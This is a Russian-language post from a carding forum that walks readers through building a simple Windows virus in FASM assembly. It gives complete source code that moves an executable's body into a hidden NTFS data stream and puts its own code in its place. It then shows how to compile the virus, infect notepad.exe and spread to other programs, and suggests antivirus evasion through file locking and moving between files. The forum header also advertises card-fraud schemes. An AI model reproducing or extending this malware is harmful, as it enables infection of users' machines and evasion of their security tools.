Привет, гость!

Добро пожаловать на CVVBOARD - крупнейший теневой кардинг форум. У нас Вы сможете найти огромное множество статей по теме кардинга и заработка в интернете. Актуальная информация, новости даркнета, сервисы от проверенных продавцов, эксклюзивные, только рабочие схемы заработка, ежедневные раздачи - все это Вы найдете на нашем форуме! Не пренебрегайте услугами Гарант-Сервиса это убережет Вас от мошенников. Обратите внимание, звание модератора не является гарантом в сделках!

Вирус для Windows

Download_Link

Участник клуба
Регистрация
7 Июл 2020
Сообщения
404
Реакции
58
Депозит
200$
Друзья, приветствую! Сегодня мы с вами создадим простейший вирус для Windows, использую ассемблер. Вообще, конструирование вирусов — отличный стимул изучать этот язык программирования. И хотя вирус, в принципе, можно написать и на С, это будет как-то не по-хакерски и вообще неправильно.


Пара вступительных слов

Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

bJ9wbOkR6tg.jpg


Имя потока отделяется от имени файла знаком двоеточия ( :), например my_file:stream. Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4, вводим с клавиатуры имя файла и потока данных, например xxx:yyy, и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx.

Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу <F4> и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy.
Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам

Алгоритм работы вируса

Создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса. Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан.
Оригинальное содержимое заражаемого файла, например, на разделах FAT будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx.

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.
Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить

Программный код вируса

Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком эти языки неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера. Вот исходный код нашего вируса.

include 'c:\fasm\INCLUDE\WIN32AX.INC'

.data
foo db "foo",0 ; Имя временного файла
code_name db ":bar",0 ; Имя потока, в котором будет...
code_name_end: ; ...сохранено основное тело

; Различные текстовые строки, которые выводит вирус
aInfected db "infected",0
aHello db "Hello, you are hacked"

; Различные буфера для служебных целей
buf rb 1000
xxx rb 1000

.code

start:
; Удаляем временный файл
push foo
call [DeleteFile]



; Определяем наше имя

push 1000
push buf
push 0
call [GetModuleFileName]

; Считываем командную строку
; Ключ filename — заразить
call [GetCommandLine]
mov ebp, eax
xor ebx, ebx
mov ecx, 202A2D2Dh ;

rool:
cmp [eax], ecx ; это '--*'?
jz infect
inc eax
cmp [eax], ebx ; Конец командной строки?
jnz rool

; Выводим диагностическое сообщение,
; подтверждая свое присутствие в файле
push 0
push aInfected
push aHello
push 0
call [MessageBox]

; Добавляем к своему имени имя потока NTFS
mov esi, code_name
mov edi, buf
mov ecx, 100; сode_name_end - code_name
xor eax,eax
repne scasb
dec edi
rep movsb

; Запускаем поток NTFS на выполнение
push xxx
push xxx
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push buf
call [CreateProcess]
jmp go2exit ; Выходим из вируса

infect:
; Устанавливаем eax на первый символ имени файла-жертвы
; (далее по тексту dst)
add eax, 4
xchg eax, ebp
xor eax,eax
inc eax

; Здесь можно вставить проверку dst на заражение
; Переименовываем dst в foo
push foo
push ebp
call [MoveFile]

; Копируем в foo основной поток dst
push eax
push ebp
push buf
call [CopyFile]

; Добавляем к своему имени имя потока NTFS
mov esi, ebp
mov edi, buf

copy_rool:
lodsb
stosb
test al,al
jnz copy_rool
mov esi, code_name
dec edi

copy_rool2:
lodsb
stosb
test al,al
jnz copy_rool2

; Копируем foo в dst:bar
push eax
push buf
push foo
call [CopyFile]

; Здесь не помешает добавить коррекцию длины заражаемого файла
; Удаляем foo
push foo
call [DeleteFile]

; Выводим диагностическое сообщение,
; подтверждающее успешность заражения файла
push 0
push aInfected
push ebp
push 0
call [MessageBox]

; Выход из вируса

go2exit:
push 0
call [ExitProcess]

.end start


Компиляция и тестирование вируса

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте flatassembler.net. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачайте последнюю версию FASM для Windows, распакуйте архив и запустите приложение fasmw.exe. Скопируйте исходный код вируса в окошко программы и выполните команды Run → Compile, а затем укажите, в какую папку сохранить скомпилированный исполняемый файл.

Теперь запустим его на выполнение с опцией командной строки --*, вписав после нее имя файла, который требуется заразить, например notepad.exe (xcode.exe --* notepad.exe). Появление диалогового окна, показанного на рисунке, говорит, что вирус внедрен в исполняемый файл блокнота

xzaiF7dPJpE.jpg


Если попытка заражения потерпела неудачу, первым делом необходимо убедиться, что права доступа к файлу есть. Захватывать их самостоятельно наш вирус не умеет

Теперь запустим зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно, показанное на рисунке, а после нажатия на кнопку ОK передает управление оригинальному коду программы.

lEsyq4tyB_I.jpg


Чтобы фокус сработал в Windows 10, вирус должен быть запущен от имени администратора.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду notepad.exe --* sol.exe. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение.
 
Сверху Снизу